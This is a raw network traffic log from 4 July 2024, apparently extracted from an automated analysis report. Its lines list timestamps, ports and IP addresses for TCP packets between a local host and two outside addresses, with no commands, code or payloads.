                                                              Jul 4, 2024 11:16:16.644946098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644959927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.644964933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.645000935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.677337885 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.678792000 CEST497214405192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:16.683514118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683530092 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683537006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683604002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.683615923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683626890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683641911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683646917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683662891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.683661938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.683703899 CEST440549721176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:16.683711052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.683742046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717525005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717585087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717597961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717633009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717653036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717665911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717679977 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717691898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717703104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717710018 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717724085 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717737913 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717760086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717772007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717824936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717919111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717930079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717947960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717959881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.717962980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717976093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717988968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.717999935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718010902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718019009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718024015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718044996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718053102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718058109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718091011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718265057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718276978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718287945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718324900 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718362093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718368053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718375921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718386889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718398094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718411922 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718450069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718585968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718600035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718611956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718621969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718631983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718641996 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718645096 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718655109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718667030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718672991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718683004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718687057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718712091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718808889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718821049 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718832970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718842983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.718849897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.718880892 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733026981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733086109 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733107090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733180046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733227015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733232975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733287096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733335972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733365059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733370066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733383894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733401060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733402967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733426094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733442068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733457088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733473063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733489037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733504057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733508110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733522892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733544111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733568907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733584881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733608007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733618975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733627081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733666897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733810902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733824015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733834982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733845949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733856916 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733860016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733876944 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733889103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733891010 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733899117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733910084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733915091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733923912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733931065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733936071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.733947039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.733983040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734183073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734194040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734210968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734220982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734237909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734241962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734246016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734253883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734260082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734261036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734267950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734275103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734282017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734282017 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734293938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734314919 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734497070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734512091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734529018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734539032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734549046 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734554052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734565973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734575033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734577894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734587908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734590054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734602928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734612942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734618902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734627008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734638929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734647036 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734667063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734843016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734853983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734872103 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734883070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734890938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734895945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734908104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734915972 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734920025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734932899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734939098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.734944105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.734972000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.735002041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.773693085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773720980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773732901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773773909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.773806095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773818016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773829937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.773849964 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.773880959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.776329994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812714100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812747002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812797070 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.812849998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812863111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812875032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812902927 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.812928915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.812946081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812961102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812973022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812984943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.812994957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813025951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813081026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813092947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813105106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813116074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813136101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813149929 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813177109 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813191891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813244104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813313007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813323975 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813335896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813349009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813359976 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813370943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813379049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813383102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813411951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813452005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813463926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813493967 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813584089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813596010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813612938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813623905 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813635111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813643932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813647985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813662052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813671112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813674927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813711882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813885927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813898087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813909054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813920021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813930035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813941002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813946962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813954115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813966036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813968897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.813977957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.813988924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.814002037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.814018011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.814042091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.814074993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823164940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823189020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823199987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823231936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823256016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823316097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823328018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823338985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823352098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823363066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823398113 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823489904 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823502064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823513031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823523998 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823534966 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823543072 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823548079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823560953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823571920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823573112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823587894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823615074 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823807001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823818922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823832035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823843002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823853970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823862076 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823864937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823878050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823879004 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823889971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823899984 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823901892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823916912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.823941946 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.823975086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824052095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824064970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824075937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824088097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824099064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824110985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824137926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824217081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824229002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824239969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824251890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824265003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824266911 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824282885 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824311972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824316025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824323893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824335098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824346066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824356079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824367046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824368954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824378967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824382067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824392080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824399948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824408054 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824429989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824645042 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824657917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824695110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824843884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824856043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824866056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824877024 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824887991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824893951 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824901104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824913979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824913979 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824925900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824928045 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824938059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824949026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824960947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824961901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824973106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824985027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.824990034 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.824995995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.825007915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.825010061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.825021029 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.825051069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:16.866322041 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866379023 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866399050 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:16.866414070 CEST804972385.28.47.8192.168.2.6
